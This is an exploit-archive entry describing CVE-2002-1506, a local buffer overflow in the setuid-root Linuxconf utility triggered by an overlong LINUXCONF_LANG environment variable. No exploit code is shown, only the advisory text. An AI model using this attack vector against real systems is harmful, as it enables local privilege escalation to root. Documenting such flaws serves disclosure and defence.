Description

Linuxconf 1.1.x/1.2.x Local Environment Variable Buffer Overflow Vulnerability (1). CVE-2002-1506. Local exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/5585/info

Linuxconf is a Linux configuration utility from Solucorp. It is typically installed as a setuid root utility for the management and configuration of Linux operating systems.

A buffer overflow vulnerability has been reported for Linuxconf. The vulnerability is due to insufficent bounds checking of the LINUXCONF_LANG environment variable. An attacker who sets the LINUXCONF_LANG environment variable with an overly large string will be able to cause the buffer overflow condition.
